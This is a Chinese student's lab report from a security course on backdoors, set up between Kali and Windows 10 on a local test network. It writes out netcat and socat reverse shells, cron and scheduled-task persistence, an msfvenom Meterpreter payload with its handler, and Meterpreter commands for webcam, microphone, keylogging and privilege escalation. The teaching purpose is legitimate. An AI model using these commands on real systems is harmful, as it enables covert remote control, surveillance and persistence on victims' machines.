Exp2 后门原理与实践
20164318 毛瀚逸
一、实验内容
基础问题回答:
1.例举你能想到的一个后门进入到你系统中的可能方式?
答:下载奇怪的文件并运行,通过操作系统的漏洞来获取电脑的高级权限。
2.例举你知道的后门如何启动起来(win及linux)的方式?
答:设置定时运行,在设定的时间自动启动。
3.Meterpreter有哪些给你映像深刻的功能?
答:拍照,如果别人入侵了我的电脑,是不是可以随时窥探我在做什么呢。
4.如何发现自己有系统有没有被安装后门?
答:各种杀软都应该可以应付。
二、实验内容
1.使用netcat获取主机操作Shell,cron启动
1.1Windows获得Linux Shell
(1)命令 ipconfig 查看win10的IP地址,之后,win10本地用命令 ncat.exe -l -p 4318 监听4318端口,等待其它机器连接该端口
(2)Kali用命令 nc 192.168.64.1 4318 -e /bin/sh 反弹连接win10,提供自己的shell
(3)windows获得linux的shell,可执行linux相关命令
1.2Linux获得Windows Shell
(1)与上面步骤相似,linux下 ifconfig 查询IP地址,nc设置监听本地4318端口 nc -l -p 4318
(2)win10反弹连接linux,提供自己的shell(cmd) ncat.exe -e cmd.exe 192.168.179.131 4318
(3)Linux下看到Windows的命令提示,获得win10的shell,可任意执行指令
1.3nc传输数据
(1)win10监听本地4321端口 ncat.exe -l 4318 ,kali连接win10的4321端口 nc 192.168.1.162 4318
(2)然后就可以让两台机器开始聊天了,kali发一句,win10接收,然后回一句,实现了数据的传输
1.4nc定时启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
(1)win10监听本地4318端口 ncat.exe -l -p 4318
(2)crontab指令增加一条定时任务 crontab -e 。因为是第一次编辑,所以会提示选择编辑器。选择“3”,利用最基本的vim编辑器进行编辑( i 进入编辑模式),在最后一行添加任务 04* * * * /bin/netcat 192.168.1.162 4318 -e /bin/sh 。(编辑完成后, esc键 退出编辑模式, :wq 保存并退出)
说明:为何是04 ? => 最后一行的意思是在每个小时的第04分钟执行后面的那条指令。【如图,操作时是17:00,那就设置4分钟后(14:04)执行吧】
(3) crontab -l 可查看配置的任务
(4)当时间到了第04分时,win获得linux的shell,可执行相关命令
2.使用socat获取主机操作Shell, 任务计划启动
2.1在Windows系统下,打开:控制面板->系统和安全->管理工具->任务计划程序,在操作选项(菜单栏)中,选择“创建任务”,填写任务名称4318,之后,新建触发器,选择开始任务时间为:工作站锁定时。
2.2新建操作,选择启动的程序为socat.exe,参数项填为 tcp-listen:4318 exec:cmd.exe,pty,stderr ,含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上
2.3创建完成之后,按 Win+L 快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
2.4在kali终端输入指令 socat - tcp:192.168.1.162:4318 (注:socat里面,必须有两个流,这里的第一个流[参数-]代表标准的输入输出,第二个流表示连接到Win10主机的4318端口),此时可发现已经成功获得了一个windows shell
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
3.1生成后门程序,指令为(注:这里设置的主机IP、端口为kali[攻击机]的IP、端口)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.179.131 LPORT=4318 -f exe > 4318_backdoor.exe
3.2通过nc指令将生成的后门程序传送到Windows主机上,输入后需要在Linux上输入指令
先进行:win10上运行ncat命令,等待接收4318_backdoor.exe
ncat.exe -lv 4318 >4318_backdoor.exe
后进行:kali上运行ncat命令,传输4318_backdoor.exe到win10主机(IP:192.168.1.162)上
nc -nv 192.168.1.162 4318 < 4318_backdoor.exe
结果出现问题
3.3效果
3.4在kali上使用 msfconsole 指令进入msf控制台
3.5进行如下配置
复制代码
use exploit/multi/handler //使用handler模块
set payload windows/meterpreter/reverse_tcp //设置载荷,字面意思应该是基于TCP的反向连接反弹windows shell
show options //查看利用模块的设置信息
set LHOST 192.168.179.131 //接下来的两个set是配置模块的设置信息,这里是设置本主机kali的IP
set LPORT 4318 //设置本主机的端口
show options //再次查看一下options,确保设置正确
exploit //运行模块
复制代码
(1)设置模块、载荷
(2)查看设置信息(注:Current setting列表示当前设置,如设置不符合,需修改;Required列若是yes,则表示对应行的参数需要设置)
EXITFUNC参数对应的行无需修改,网上解释为:EXITFUNC有4个不同的值:none,seh,thread和process。通常它被设置为线程或进程,它对应于ExitThread或ExitProcess调用。 “none”参数将调用GetLastError,实际上是无操作,线程然后将继续执行,允许您简单地将多个有效负载一起串行运行。在某些情况下,EXITFUNC是有用的,在利用一个exploit之后,我们需要一个干净地退出。
PROCESS方法应与multi/handler这个利用模块一起使用。此方法也应该与任何主进程在退出时会重新启动的漏洞一起使用。
(3)设置主机IP、端口,并再次用 show options 查看是否设置正确
发现正确
(4) 启用模块
(5)在win10上运行后门程序(这里,也许要提前关闭一下杀毒软件和防火墙,否则,可能运行时会出问题)查看kali,发现获得了win10主机的连接,并且得到了远程控制的shell,可执行相关命令
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
4.1由上面的exploit操作,已经获得shell,接下来,尝试获取目标主机音频、摄像头、击键记录等内容
(1)获取目标主机音频、截屏内容
record_mic //音频
screenshot //截屏
(2)发现win7中有摄像设备,可以获取一下摄像头所拍摄相片
(3)获取击键记录
kali上输入指令 keyscan_start ,开始记录win10上任何键盘记录,随意在win10上输入一些字母,之后kali上输入指令 keyscan_dump ,就可下载键盘记录
4.2提权
(1)先使用 getuid 指令查看当前用户,再使用 getsystem 指令进行提权,提权成功。
三、实验感想与体会
这次的实验说实话做的有点毛骨悚然,我们一介学生在老师的指导下就可以对电脑做出这么多操作,如果这些方法被坏人使用,是不是我们也可以随时让我们被窥探,我们一定要好好加强自己的计算机安全。